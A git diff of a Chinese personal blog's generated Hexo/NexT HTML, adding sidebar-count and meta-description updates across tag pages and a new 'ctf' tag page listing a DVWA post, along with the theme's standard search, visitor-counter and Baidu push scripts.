+                    searchTextCount: searchTextCount,
+                    hitCount: hitCount,
+                    id: resultItems.length
+                  });
+                }
+              })
+            };
+            if (keywords.length === 1 && keywords[0] === "") {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
+            } else if (resultItems.length === 0) {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
+            } else {
+              resultItems.sort(function (resultLeft, resultRight) {
+                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
+                  return resultRight.searchTextCount - resultLeft.searchTextCount;
+                } else if (resultLeft.hitCount !== resultRight.hitCount) {
+                  return resultRight.hitCount - resultLeft.hitCount;
+                } else {
+                  return resultRight.id - resultLeft.id;
+                }
+              });
+              var searchResultList = '<ul class=\"search-result-list\">';
+              resultItems.forEach(function (result) {
+                searchResultList += result.item;
+              })
+              searchResultList += "</ul>";
+              resultContent.innerHTML = searchResultList;
+            }
+          }
+
+          if ('auto' === 'auto') {
+            input.addEventListener('input', inputEventFunction);
+          } else {
+            $('.search-icon').click(inputEventFunction);
+            input.addEventListener('keypress', function (event) {
+              if (event.keyCode === 13) {
+                inputEventFunction();
+              }
+            });
+          }
+
+          // remove loading animation
+          $(".local-search-pop-overlay").remove();
+          $('body').css('overflow', '');
+
+          proceedsearch();
+        }
+      });
+    }
+
+    // handle and trigger popup window;
+    $('.popup-trigger').click(function(e) {
+      e.stopPropagation();
+      if (isfetched === false) {
+        searchFunc(path, 'local-search-input', 'local-search-result');
+      } else {
+        proceedsearch();
+      };
+    });
+
+    $('.popup-btn-close').click(onPopupClose);
+    $('.popup').click(function(e){
+      e.stopPropagation();
+    });
+    $(document).on('keyup', function (event) {
+      var shouldDismissSearchPopup = event.which === 27 &&
+        $('.search-popup').is(':visible');
+      if (shouldDismissSearchPopup) {
+        onPopupClose();
+      }
+    });
+  </script>
+
+
+
+
+
+  
+
+  
+  <script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
+  <script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
+  <script>
+    function showTime(Counter) {
+      var query = new AV.Query(Counter);
+      var entries = [];
+      var $visitors = $(".leancloud_visitors");
+
+      $visitors.each(function () {
+        entries.push( $(this).attr("id").trim() );
+      });
+
+      query.containedIn('url', entries);
+      query.find()
+        .done(function (results) {
+          var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
+
+          if (results.length === 0) {
+            $visitors.find(COUNT_CONTAINER_REF).text(0);
+            return;
+          }
+
+          for (var i = 0; i < results.length; i++) {
+            var item = results[i];
+            var url = item.get('url');
+            var time = item.get('time');
+            var element = document.getElementById(url);
+
+            $(element).find(COUNT_CONTAINER_REF).text(time);
+          }
+          for(var i = 0; i < entries.length; i++) {
+            var url = entries[i];
+            var element = document.getElementById(url);
+            var countSpan = $(element).find(COUNT_CONTAINER_REF);
+            if( countSpan.text() == '') {
+              countSpan.text(0);
+            }
+          }
+        })
+        .fail(function (object, error) {
+          console.log("Error: " + error.code + " " + error.message);
+        });
+    }
+
+    function addCount(Counter) {
+      var $visitors = $(".leancloud_visitors");
+      var url = $visitors.attr('id').trim();
+      var title = $visitors.attr('data-flag-title').trim();
+      var query = new AV.Query(Counter);
+
+      query.equalTo("url", url);
+      query.find({
+        success: function(results) {
+          if (results.length > 0) {
+            var counter = results[0];
+            counter.fetchWhenSave(true);
+            counter.increment("time");
+            counter.save(null, {
+              success: function(counter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(counter.get('time'));
+              },
+              error: function(counter, error) {
+                console.log('Failed to save Visitor num, with error message: ' + error.message);
+              }
+            });
+          } else {
+            var newcounter = new Counter();
+            /* Set ACL */
+            var acl = new AV.ACL();
+            acl.setPublicReadAccess(true);
+            acl.setPublicWriteAccess(true);
+            newcounter.setACL(acl);
+            /* End Set ACL */
+            newcounter.set("title", title);
+            newcounter.set("url", url);
+            newcounter.set("time", 1);
+            newcounter.save(null, {
+              success: function(newcounter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(newcounter.get('time'));
+              },
+              error: function(newcounter, error) {
+                console.log('Failed to create');
+              }
+            });
+          }
+        },
+        error: function(error) {
+          console.log('Error:' + error.code + " " + error.message);
+        }
+      });
+    }
+
+    $(function() {
+      var Counter = AV.Object.extend("Counter");
+      if ($('.leancloud_visitors').length == 1) {
+        addCount(Counter);
+      } else if ($('.post-title-link').length > 1) {
+        showTime(Counter);
+      }
+    });
+  </script>
+
+
+
+  
+
+  
+<script>
+(function(){
+    var bp = document.createElement('script');
+    var curProtocol = window.location.protocol.split(':')[0];
+    if (curProtocol === 'https') {
+        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
+    }
+    else {
+        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
+    }
+    var s = document.getElementsByTagName("script")[0];
+    s.parentNode.insertBefore(bp, s);
+})();
+</script>
+
+
+  
+  
+
+  
+
+  
+
+  
+
+</body>
+</html>
diff --git a/tags/MiniUPnP/index.html b/tags/MiniUPnP/index.html
index 14275263..14e94db9 100644
--- a/tags/MiniUPnP/index.html
+++ b/tags/MiniUPnP/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/MiniUPnP/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/PE/index.html b/tags/PE/index.html
index e13cecd0..9fa457c4 100644
--- a/tags/PE/index.html
+++ b/tags/PE/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/PE/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/QQ/index.html b/tags/QQ/index.html
index 7b3b773e..4abb5927 100644
--- a/tags/QQ/index.html
+++ b/tags/QQ/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/QQ/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/SSH/index.html b/tags/SSH/index.html
index 0925652e..3e44afa4 100644
--- a/tags/SSH/index.html
+++ b/tags/SSH/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/SSH/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/Samba/index.html b/tags/Samba/index.html
index 9eb9add2..99d572f7 100644
--- a/tags/Samba/index.html
+++ b/tags/Samba/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/Samba/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/TCPDUMP/index.html b/tags/TCPDUMP/index.html
index 315873d2..8933a8d3 100644
--- a/tags/TCPDUMP/index.html
+++ b/tags/TCPDUMP/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/TCPDUMP/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/USENIX/index.html b/tags/USENIX/index.html
index 7e8f72d9..c5b05b2f 100644
--- a/tags/USENIX/index.html
+++ b/tags/USENIX/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/USENIX/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/Windows/index.html b/tags/Windows/index.html
index 84abca3f..c94c6c51 100644
--- a/tags/Windows/index.html
+++ b/tags/Windows/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/Windows/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/ctf/index.html b/tags/ctf/index.html
new file mode 100644
index 00000000..012551ac
--- /dev/null
+++ b/tags/ctf/index.html
@@ -0,0 +1,1128 @@
+<!DOCTYPE html>
+
+
+
+  
+
+
+<html class="theme-next gemini use-motion" lang="zh-Hans">
+<head><meta name="generator" content="Hexo 3.8.0">
+  <meta charset="UTF-8">
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
+<meta name="theme-color" content="#222">
+
+
+
+
+
+
+
+
+
+<meta http-equiv="Cache-Control" content="no-transform">
+<meta http-equiv="Cache-Control" content="no-siteapp">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
+
+
+
+
+
+
+
+<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
+
+<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
+
+
+  <link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
+
+
+
+
+
+  <meta name="keywords" content="Hexo, NexT">
+
+
+
+
+
+
+
+
+
+
+<meta name="description" content="没人比我更懂中医#MAGA">
+<meta property="og:type" content="website">
+<meta property="og:title" content="混元霹雳手">
+<meta property="og:url" content="https://cool-y.github.io/tags/ctf/index.html">
+<meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
+<meta property="og:locale" content="zh-Hans">
+<meta name="twitter:card" content="summary">
+<meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
+
+
+
+<script type="text/javascript" id="hexo.configurations">
+  var NexT = window.NexT || {};
+  var CONFIG = {
+    root: '/',
+    scheme: 'Gemini',
+    version: '5.1.4',
+    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
+    fancybox: true,
+    tabs: true,
+    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
+    duoshuo: {
+      userId: '0',
+      author: '博主'
+    },
+    algolia: {
+      applicationID: '',
+      apiKey: '',
+      indexName: '',
+      hits: {"per_page":10},
+      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
+    }
+  };
+</script>
+
+
+
+  <link rel="canonical" href="https://cool-y.github.io/tags/ctf/">
+
+
+
+
+
+  <title>标签: ctf | 混元霹雳手</title>
+  
+
+
+
+
+
+
+
+
+</head>
+
+<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
+
+  
+  
+    
+  
+
+  <div class="container sidebar-position-left ">
+    <div class="headband"></div>
+
+    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
+      <div class="header-inner"><div class="site-brand-wrapper">
+  <div class="site-meta ">
+    
+
+    <div class="custom-logo-site-title">
+      <a href="/" class="brand" rel="start">
+        <span class="logo-line-before"><i></i></span>
+        <span class="site-title">混元霹雳手</span>
+        <span class="logo-line-after"><i></i></span>
+      </a>
+    </div>
+      
+        <p class="site-subtitle"></p>
+      
+  </div>
+
+  <div class="site-nav-toggle">
+    <button>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+    </button>
+  </div>
+</div>
+
+<nav class="site-nav">
+  
+
+  
+    <ul id="menu" class="menu">
+      
+        
+        <li class="menu-item menu-item-home">
+          <a href="/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
+            
+            首页
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-about">
+          <a href="/about/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
+            
+            关于
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-tags">
+          <a href="/tags/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
+            
+            标签
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-categories">
+          <a href="/categories/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-th"></i> <br>
+            
+            分类
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-archives">
+          <a href="/archives/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
+            
+            归档
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-bookmarks">
+          <a href="/bookmarks/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-map"></i> <br>
+            
+            书签
+          </a>
+        </li>
+      
+
+      
+        <li class="menu-item menu-item-search">
+          
+            <a href="javascript:;" class="popup-trigger">
+          
+            
+              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
+            
+            搜索
+          </a>
+        </li>
+      
+    </ul>
+  
+
+  
+    <div class="site-search">
+      
+  <div class="popup search-popup local-search-popup">
+  <div class="local-search-header clearfix">
+    <span class="search-icon">
+      <i class="fa fa-search"></i>
+    </span>
+    <span class="popup-btn-close">
+      <i class="fa fa-times-circle"></i>
+    </span>
+    <div class="local-search-input-wrapper">
+      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
+    </div>
+  </div>
+  <div id="local-search-result"></div>
+</div>
+
+
+
+    </div>
+  
+</nav>
+
+
+
+ </div>
+    </header>
+
+    <main id="main" class="main">
+      <div class="main-inner">
+        <div class="content-wrap">
+          <div id="content" class="content">
+            
+
+  
+  
+  
+  <div class="post-block tag">
+
+    <div id="posts" class="posts-collapse">
+      <div class="collection-title">
+        <h1>ctf<small>标签</small>
+        </h1>
+      </div>
+
+      
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/07/24/web-dvwa/" itemprop="url">
+              
+                <span itemprop="name">DVWA黑客攻防平台</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-07-24T11:46:51+08:00" content="2019-07-24">
+          07-24
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+      
+    </div>
+
+  </div>
+  
+  
+  
+
+  
+
+
+          </div>
+          
+
+
+          
+
+        </div>
+        
+          
+  
+  <div class="sidebar-toggle">
+    <div class="sidebar-toggle-line-wrap">
+      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
+    </div>
+  </div>
+
+  <aside id="sidebar" class="sidebar">
+    
+    <div class="sidebar-inner">
+
+      
+
+      
+
+      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
+        <div class="site-overview">
+          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
+            
+              <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
+            
+              <p class="site-author-name" itemprop="name">Cool-Y</p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
+          </div>
+
+          <nav class="site-state motion-element">
+
+            
+              <div class="site-state-item site-state-posts">
+              
+                <a href="/archives/">
+              
+                  <span class="site-state-item-count">21</span>
+                  <span class="site-state-item-name">日志</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-categories">
+                <a href="/categories/index.html">
+                  <span class="site-state-item-count">9</span>
+                  <span class="site-state-item-name">分类</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-tags">
+                <a href="/tags/index.html">
